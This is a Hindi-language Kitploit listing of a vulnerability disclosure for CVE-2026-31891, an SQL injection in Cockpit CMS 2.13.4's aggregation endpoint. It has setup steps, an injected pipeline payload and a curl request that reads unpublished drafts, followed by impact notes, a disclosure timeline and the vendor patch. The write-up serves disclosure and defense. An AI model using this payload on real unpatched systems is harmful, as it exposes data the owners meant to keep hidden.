Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-31891 — SQL Injection in MongoLite Aggregation Optimizer via toJsonExtractRaw() | Kitploit
उपकरण/GitHubGitHub/ffasterss/cve-2026-31891
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगडेटाबेस सुरक्षा
GitHubffasterss/cve-2026-31891

CVE-2026-31891

SQL Injection in MongoLite Aggregation Optimizer via toJsonExtractRaw()

रिपॉजिटरी देखें
5 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

MongoLite एग्रीगेशन ऑप्टिमाइज़र में toJsonExtractRaw() के माध्यम से SQL इंजेक्शन

  • भेद्यता वर्ग: SQL इंजेक्शन (CWE-89)
  • उत्पाद: Cockpit CMS (कोर संस्करण)
  • प्रभावित संस्करण: 2.13.4 और संभवतः एग्रीगेशन ऑप्टिमाइज़र शुरू होने के बाद के सभी संस्करण
  • परीक्षण किया गया डॉकर इमेज: cockpithq/cockpit:core-2.13.4
  • स्रोत कमिट: 7fe563023b7fae854c857d2e2dc0878ef28fbb5f (टैग 2.13.4)
  • GitHub: https://github.com/Cockpit-HQ/Cockpit
  • खोज की तिथि: 2026-02-28
  • CVSS स्कोर: 7.7 (उच्च) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

1. कार्यकारी सारांश

Cockpit CMS (कोर संस्करण 2.13.4) में SQL इंजेक्शन भेद्यता की पहचान की गई है। यह भेद्यता MongoLite एग्रीगेशन ऑप्टिमाइज़र के भीतर, विशेष रूप से विधि में मौजूद है। उपयोगकर्ता-नियंत्रित फ़ील्ड नामों को उचित सैनिटाइज़ेशन के बिना सीधे SQL क्वेरी में जोड़ा जाता है।

toJsonExtractRaw()

एक प्रमाणित हमलावर जिसके पास कंटेंट मॉडल तक पढ़ने की पहुंच (API कुंजी के माध्यम से) है, वह /api/content/aggregate/{model} REST एंडपॉइंट के माध्यम से एग्रीगेशन पाइपलाइन में मनमाना SQL कमांड इंजेक्ट कर सकता है।

यह दोष हमलावरों को निम्नलिखित सक्षम बनाता है:

  • इच्छित प्रकाशित-सामग्री फ़िल्टर (_state=1) को बायपास करके अप्रकाशित ड्राफ्ट पढ़ना।
  • उसी SQLite डेटाबेस में किसी भी संग्रह से पूर्ण दस्तावेज़ सामग्री निकालना।
  • sqlite_master के माध्यम से आंतरिक डेटाबेस स्कीमा की गणना करना।

2. चरण-दर-चरण शोषण पुनरुत्पादन

निम्नलिखित चरण दर्शाते हैं कि एक हमलावर _state=1 प्राधिकरण फ़िल्टर को कैसे बायपास कर सकता है।

पूर्वापेक्षाएँ

  • Cockpit CMS 2.13.4 या उससे कम
  • कम से कम एक कंटेंट संग्रह मॉडल तक पढ़ने की पहुंच वाली एक API कुंजी।

2.1: कंटेंट मॉडल कॉन्फ़िगर करें

  1. व्यवस्थापक के रूप में Cockpit CMS एडमिन डैशबोर्ड में लॉग इन करें।
  2. कंटेंट > मॉडल पर नेविगेट करें और testcol नामक एक नया मॉडल बनाएं।
  3. मॉडल में दो टेक्स्ट फ़ील्ड जोड़ें: title और body।

स्क्रीनशॉट: testcol कंटेंट मॉडल सेट करना Setting up the testcol content model

2.2: API भूमिका और कुंजी कॉन्फ़िगर करें

  1. सेटिंग्स > भूमिकाएँ पर नेविगेट करें।
  2. एक भूमिका बनाएं या संशोधित करें (जैसे, MasterRole) ताकि उसके पास testcol मॉडल के लिए पढ़ने की अनुमति हो।

स्क्रीनशॉट: संग्रह के लिए भूमिका अनुमतियाँ कॉन्फ़िगर करना Configuring Role permissions for the collection

  1. सेटिंग्स > API और सुरक्षा (API कुंजियाँ) पर नेविगेट करें।
  2. एक नई API कुंजी जोड़ें और उसे वह MasterRole असाइन करें जिसे आपने अभी कॉन्फ़िगर किया है। कुंजी मान कॉपी करें (जैसे, API-b8e8...)।

स्क्रीनशॉट: पढ़ने-पहुंच भूमिका के साथ API कुंजी सेट करना Setting up the API Key with the read-access role

2.3: नमूना सामग्री बनाएं (एक गुप्त ड्राफ्ट सहित)

  1. कंटेंट > testcol पर जाएं।
  2. Public शीर्षक वाला एक आइटम बनाएं और उसकी स्थिति प्रकाशित (हरा आइकन) पर सेट करें।
  3. SECRET_DRAFT शीर्षक वाला एक दूसरा आइटम बनाएं और उसकी स्थिति अप्रकाशित (लाल आइकन) पर सेट करें।

स्क्रीनशॉट: आइटम सूची जिसमें एक प्रकाशित और एक अप्रकाशित आइटम दिखाया गया है The items list showing one published and one unpublished item

2.4: शोषण निष्पादित करें

डिफ़ॉल्ट रूप से, मानक API क्वेरी केवल वही सामग्री लौटाएंगी जहां स्थिति प्रकाशित है। हालांकि, एग्रीगेशन पाइपलाइन में SQL इंजेक्ट करके, प्रकाशित-सामग्री फ़िल्टर को बायपास किया जा सकता है।

  1. निम्नलिखित पेलोड बनाएं। पेलोड json_extract() SQL फ़ंक्शन से बाहर निकलता है और अनुगामी SQL को निष्क्रिय करने के लिए एक SQL टिप्पणी -- जोड़ता है, विशेष रूप से उस WHERE क्लॉज़ को लक्षित करता है जो परिणामों को प्रकाशित आइटम तक सीमित करता है।

इंजेक्टेड फ़ील्ड:

root@kitploit:~
$title') as _id FROM collections_testcol--

पूर्ण पाइपलाइन JSON:

root@kitploit:~
[{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}]
  1. पाइपलाइन JSON को URL-एनकोड करें और ब्राउज़र (या curl) के माध्यम से /api/content/aggregate/testcol एंडपॉइंट पर GET अनुरोध भेजें। YOUR_API_KEY को चरण 2.2 में उत्पन्न कुंजी से बदलना सुनिश्चित करें:
root@kitploit:~
curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D"

2.5: शोषण सत्यापन

नीचे दिए गए अंतिम स्क्रीनशॉट में दिखाए अनुसार, API प्रतिक्रिया सफलतापूर्वक SECRET_DRAFT आइटम लौटाती है, भले ही इसे स्पष्ट रूप से अप्रकाशित के रूप में चिह्नित किया गया हो। यह पुष्टि करता है कि SQL इंजेक्शन एप्लिकेशन के मुख्य प्राधिकरण तंत्र को बायपास करता है और API पर अनधिकृत डेटा निष्कर्षण की अनुमति देता है।

स्क्रीनशॉट: अप्रकाशित 'SECRET_DRAFT' डेटा का सफल निष्कर्षण Successful extraction of the unpublished 'SECRET_DRAFT' data

3. प्रभाव -- परिणाम

एक क्लासिक हेडलेस CMS परिनियोजन में, एक सार्वजनिक केवल-पढ़ने वाली API कुंजी अक्सर फ्रंटएंड JavaScript में एम्बेडेड/हार्डकोडेड होती है। सार्वजनिक API एंडपॉइंट के माध्यम से इस भेद्यता का शोषण करके, एक हमलावर यह कर सकता है:

  • अप्रकाशित ड्राफ्ट, संग्रहीत आइटम और छिपी हुई सामग्री पढ़ने के लिए प्रकाशित-सामग्री फ़िल्टर को बायपास करना।
  • उसी content.sqlite डेटाबेस में सभी कंटेंट संग्रह पढ़ना, जिसमें वे संग्रह भी शामिल हैं जिनके लिए API कुंजी अधिकृत नहीं है।
  • सभी तालिका नामों और संरचनाओं की खोज के लिए sqlite_master के माध्यम से डेटाबेस स्कीमा की गणना करना।

4. प्रकटीकरण समयरेखा

तिथिकार्रवाई
2026-02-28अधिकृत सुरक्षा अनुसंधान के दौरान भेद्यता की खोज
2026-03-02विक्रेता को रिपोर्ट प्रस्तुत की गई
2026-03-02विक्रेता सुधार -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0
2026-03-09पैच जारी किया गया v 2.13.5 -- https://getcockpit.com/releases

परिशिष्ट:

  • https://github.com/Cockpit-HQ/Cockpit/security/advisories/GHSA-7x5c-vfhj-9628
  • https://www.cve.org/CVERecord?id=CVE-2026-31891
टूल डाउनलोड करें